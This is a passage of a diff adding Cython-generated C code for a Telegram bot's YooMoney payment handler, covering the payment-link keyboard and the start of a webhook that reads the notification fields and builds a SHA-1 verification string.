<<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_9); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_9)) __PYX_ERR(0, 125, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 1, __pyx_t_10)) __PYX_ERR(0, 125, __pyx_L1_error); + __pyx_t_9 = 0; + __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":124 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_14; + __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":131 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yoomoney_pay.py":132 + * + * await callback_query.message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = 0; + __pyx_t_12 = 127; + __Pyx_INCREF(__pyx_kp_u__9); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__9); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__9); + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_10); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_10); + __pyx_t_10 = 0; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__10); + __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_10) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yoomoney_pay.py":133 + * await callback_query.message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * + */ + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":131 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_10); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 131, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 131, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook = {"yoomoney_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_7yoomoney_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yoomoney_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 137, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yoomoney_webhook") < 0)) __PYX_ERR(0, 137, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("yoomoney_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 137, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("yoomoney_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 137, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2, __pyx_codeobj__11, (PyObject *) __pyx_cur_scope, __pyx_n_s_yoomoney_webhook, __pyx_n_s_yoomoney_webhook, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + Py_ssize_t __pyx_t_6; + Py_UCS4 __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + double __pyx_t_13; + int __pyx_t_14; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + char const *__pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("yoomoney_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L12_resume_from_await; + case 3: goto __pyx_L13_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":138 + * + * async def yoomoney_webhook(request: web.Request): + * data = await request.post() # <<<<<<<<<<<<<< + * logger.debug(f"Webhook event received: {data}") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 138, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":139 + * async def yoomoney_webhook(request: web.Request): + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") # <<<<<<<<<<<<<< + * + * user_id_str = data.get("label") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":141 + * logger.debug(f"Webhook event received: {data}") + * + * user_id_str = data.get("label") # <<<<<<<<<<<<<< + * amount_str = data.get("withdraw_amount") + * notification_secret = YOOMONEY_SECRET_KEY + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_label}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 141, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":142 + * + * user_id_str = data.get("label") + * amount_str = data.get("withdraw_amount") # <<<<<<<<<<<<<< + * notification_secret = YOOMONEY_SECRET_KEY + * sha1_hash = data.get("sha1_hash") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_withdraw_amount}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":143 + * user_id_str = data.get("label") + * amount_str = data.get("withdraw_amount") + * notification_secret = YOOMONEY_SECRET_KEY # <<<<<<<<<<<<<< + * sha1_hash = data.get("sha1_hash") + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_notification_secret = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":144 + * amount_str = data.get("withdraw_amount") + * notification_secret = YOOMONEY_SECRET_KEY + * sha1_hash = data.get("sha1_hash") # <<<<<<<<<<<<<< + * + * # + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_sha1_hash}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_sha1_hash = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":147 + * + * # + * string_to_hash = f"{data.get('notification_type')}&{data.get('operation_id')}&{data.get('amount')}&{data.get('currency')}&{data.get('datetime')}&{data.get('sender')}&{data.get('codepro')}&{notification_secret}&{user_id_str}" # <<<<<<<<<<<<<< + * + * # + */ + __pyx_t_1 = PyTuple_New(17); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_notification_type}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u__12); + __pyx_t_3 = 